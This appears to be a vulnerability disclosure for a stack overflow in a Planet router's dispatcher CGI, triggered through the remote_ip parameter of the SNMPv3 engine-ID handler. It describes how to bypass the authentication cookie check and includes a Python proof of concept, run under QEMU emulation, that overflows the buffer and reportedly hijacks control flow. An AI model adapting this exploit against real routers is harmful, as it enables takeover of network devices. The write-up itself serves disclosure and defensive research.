web_snmpv3_remote_engineId_add_post_remote_ip

During my internship at Qi An Xin Tiangong Lab, I discovered a stack overflow vulnerability in the Planet router.

By analyzing the dispatcher file in the bin directory, I found that the function web_snmpv3_remote_engineId_add_post contains a stack overflow vulnerability.

The stack overflow can be triggered by remote_ip value, which leads to a memcpy stack overflow.

In the main function, there is an account authentication detection. We create a cookie_0 in the tmp directory, with the content of “20 0 0”, and its function is to create a cookie with sufficient permissions to access this route.

20 0 0

Through IDA, it can be seen that the stack space is 0x178

The content of the poc.py file is as follows:

import os


a = 0x1017
var_name = "remote_ip"
b = 'a' * 0x300


poc_content = f"&cmd={a}&{var_name}={b}"
with open('poc', 'w') as f:
    f.write(poc_content)

command = (
    "sudo chroot . ./qemu-mips-static "
    "-E REQUEST_METHOD=POST "
    "-E HTTP_COOKIE='hid=0' "
    "-L ./lib "
    "-g 1234 "
    "./dispatcher.cgi "
    "< poc"  
)


os.system(command)

Through the above image, we can see that we have overflowed to 0x260 and successfully hijacked the control flow. If necessary, more can be overflowed.